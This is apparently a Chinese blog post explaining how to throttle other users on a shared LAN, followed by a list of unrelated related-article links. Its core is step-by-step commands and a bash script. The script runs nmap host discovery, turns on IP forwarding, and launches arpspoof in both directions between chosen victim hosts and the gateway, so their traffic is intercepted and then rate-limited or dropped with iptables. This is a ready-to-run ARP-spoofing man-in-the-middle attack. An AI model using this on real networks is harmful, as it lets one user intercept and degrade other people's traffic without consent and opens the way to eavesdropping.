linux 限制网速 ip,linux轻松限制局域网网速
为了限制无线路由器上大家的上网速度,减少p2p工具的影响
可以通过arp欺骗和iptables来限制局域网的上网速度
操作系统:ubuntu
1)sudo apt-get install dsniff nmap
2)探测局域网主机的ip地址
sudo nmap -sS 网关ip/24
在此例中:
192.168.1.100 为要限速的主机
192.168.1.1 为网关地址
3)打开 内核的 IP 转发,让我们的主机成为路由器
echo 1 > /proc/sys/net/ipv4/ip_forward
4)使用 iptables和arpspoof进行 限速! 脚本如下
使用方式:
sudo ./iptable.sh 要限的速度(30为40k/s) 网关ip 限速主机1 限速主机2
#!/bin/bash
if [ $# -le 2 ]
then
echo "Usage: ./iptables.sh speed gateway ip1 ip2 ...."
exit -1
else
speed=$1
gateway=$2
fi
IPT=/sbin/iptables
while [ $# -gt 2 ]
do
shift
echo $gateway,$2
arpspoof -i eth0 -t $2 $gateway&
arpspoof -i eth0 -t $gateway $2&
$IPT -A FORWARD -s $2 -m limit --limit ${speed}/s -j ACCEPT
$IPT -A FORWARD -d $2 -m limit --limit ${speed}/s -j ACCEPT
$IPT -A FORWARD -s $2 -j DROP
$IPT -A FORWARD -d $2 -j DROP
done
linux 限制网速 ip,linux轻松限制局域网网速相关推荐
- 教你如何轻松测试局域网网速
2008-2-18 作者: 编辑:静娴 点击进入论坛 关键词: 测试软件 局域网 又有人反应网速慢,访问外网慢不说,访问文件服务器上的资料速度也慢.对于网络管理员来说,听 ...
- linux轻松限制局域网网速
2019独角兽企业重金招聘Python工程师标准>>> 为了限制无线路由器上大家的上网速度,减少p2p工具的影响 可以通过arp欺骗和iptables来限制局域网的上网速度 操作系统 ...
- linux设置屏蔽海外ip,linux屏蔽海外流量的两种方法
导读 作为一名维护生产环境Linux服务器的系统管理员,在有些情况下,你需要根据地理位置,有选择性地阻止或允许网络流量.那么教你两种屏蔽海外流量的方法. 方法一:使用大神的开源脚本,屏蔽指定国家地区的 ...
- linux 双网卡浮动ip,Linux 双网卡绑定一个IP原理及实现
我们在这介绍的Linux双网卡绑定实现就是使用两块网卡虚拟成为一块网卡,这个聚合起来的设备看起来是一个单独的以太网接口设备,通俗点讲就是两块网卡具有相同的IP地址而并行链接聚合成一个逻辑链路工作.其实 ...
- linux c 获取网关ip,linux sh 如何根据出口网关来获取本机出口ip
该楼层疑似违规已被系统折叠 隐藏此楼查看此楼 测试机器:华为P7-L07 安卓测试环境:EMUI 3.1 安卓5.1.1(版本号:P7-L07C01B851,基带版本:23.600.06.00.00, ...
- linux执行脚本查找ip,linux 查看ip、用户、时间对应执行的命令
这个需要使用到history命令.可以加数字,返回最近执行的几条命令.如果不加数字会返回所有的历史命令. [[email protected] ~]# history 20 1015rm stdin. ...
- linux nfs 多个ip,linux基础之NFS
一.NFS简介 NFS(Network File System)即网络文件系统,是FreeBSD支持的文件系统中的一种,它允许网络中的计算机之间通过TCP/IP网络共享资源. 在NFS的应用中,本地N ...
- linux下配置ipmi ip,Linux下使用命令行配置IPMI
前段时间,为了方便遥远的另一边干嘛干嘛的,单位部署了IPMI. 我好动,所以就把一些IPMI的操作记了下来,当做日记记了下来.这也是我第一次写关于工作的博文呢,真不习惯啊.也发现了,都不会写东西了,O ...
- linux c语言设置ip,linux 下用指令和C语言来设置IP,MASK,gateway
linux用指令来设置IP,MASK,GATEWAY: //终端指令实现 //ifconfig eth0 192.168.0.0 netmask 255.255.0.0 //route add def ...
最新文章
- hibernate整合进spring后的事务处理
- 【Groovy】Groovy 方法调用 ( 使用 对象名.@成员名 访问 Groovy 对象成员 )
- PAT甲级1121 Damn Single :[C++题解]哈希表、结构体
- 一步步编写操作系统 60 cpu的IO特权级2 什么是驱动程序
- java字段注解类型数组_Java注解用法
- 的pcie带宽_新品推荐:乐扩PCIe四路SDI高清采集卡
- vue+element-ui 实现table单元格点击编辑,并且按上下左右键单元格之间切换
- c语言万年历的原理,[原创] C语言实现:万年历(1)
- 232转485通讯测试软件,(DIY制作)多功能调试工具——实现USB转:485/232/NRF24L01等(原理图和程序)...
- u盘需要计算机管理权限,u易u盘需要管理员权限的文件怎么删除
- php 繁体自动转简体,php 繁体字转化为简体字
- 通用计算机指令,计算机移位指令
- Vue / axios / props 调用后端接口数据并渲染到页面
- 使用win10自带录屏软件录制视频
- 深圳云计算培训:新手学习云计算的规划
- 微信公众号课程预约系统的功能需求分析
- 102-并发编程详解(中篇)
- ES6简介、新特性、Babel编译器、babel-cli工具、babel-polyfill工具(安装和使用)
- SSM+小程序知识点,防入坑!!!
- 人工智能历史上的重要一步:ChatGPT影响到谷歌地位?
热门文章
- 学习目标检测YOLO系列1--机器学习基础知识储备
- Android与iOS的区别
- [vue-demo]实时时间转换 v-time
- 关于使用elementUI DateTimePicker组件报错[Vue warn]: Avoid mutating a prop directly since the value will be
- 不贩卖焦虑,关于ChatGPT的思想实验
- html5 标签位置设置,i标签教程
- Final IK⭐五、FinalIK做布娃娃动画的过程
- (第十八集)前端开发之js
- 博世BMI088官方代码库解析
- 阿里巴巴和淘宝的校园应聘经历